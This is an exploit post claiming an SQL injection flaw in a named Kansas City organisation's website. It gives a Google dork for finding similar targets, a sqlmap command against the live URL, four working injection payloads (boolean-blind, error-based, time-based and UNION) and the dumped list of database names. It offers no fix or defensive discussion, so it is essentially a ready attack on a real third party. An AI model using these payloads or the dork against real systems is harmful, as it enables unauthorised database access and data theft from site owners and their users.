# Exploit Title: Usa Cansas City SQL Injection Vulnerability
# Author: Emyounoone
# Date: 14/04/2021
# Tested On: Kali Linux
# Contact: https://twitter.com/Emyounoone
# Google Dork: news.php?id=
----------------------------------------------------------------------------------------------------
# Vulnerable Path: http://kansascitynova.org/news.php?id=1
# python3 sqlmap.py http://kansascitynova.org/news.php?id=1 --dbs --random-agent
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=42' AND 8988=8988 AND 'ihYF'='ihYF
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=42' AND GTID_SUBSET(CONCAT(0x71787a7171,(SELECT (ELT(9088=9088,1))),0x716a766271),9088) AND 'zTBd'='zTBd
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=42' AND (SELECT 5516 FROM (SELECT(SLEEP(5)))HjZZ) AND 'cswc'='cswc
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=42' UNION ALL SELECT NULL,NULL,CONCAT(0x71787a7171,0x51435a43514c45586f7456596641576d5a566b634a6c4758664b6d6963727979647a4f59795a7167,0x716a766271),NULL,NULL,NULL,NULL-- -
---
available databases [2]:
[*] information_schema
[*] kcnova